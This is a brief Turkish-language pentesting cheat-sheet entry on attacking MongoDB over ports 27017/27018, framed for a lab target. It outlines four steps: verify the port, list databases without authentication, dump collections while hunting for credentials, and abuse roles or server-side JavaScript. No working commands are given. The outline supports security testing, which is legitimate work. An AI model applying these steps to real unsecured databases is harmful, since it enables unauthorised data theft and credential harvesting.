27017,27018 - Pentesting MongoDB

MongoDB database

Auth kapalı MongoDB koleksiyon dump ve bazen JS/server-side abuse verir. Hedef lab IP’si üzerinde komutları 27017 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 27017/27018 doğrula.

2. Auth’suz listDatabases.

3. Dump ve credential ara.

4. Role abuse / JS komut.
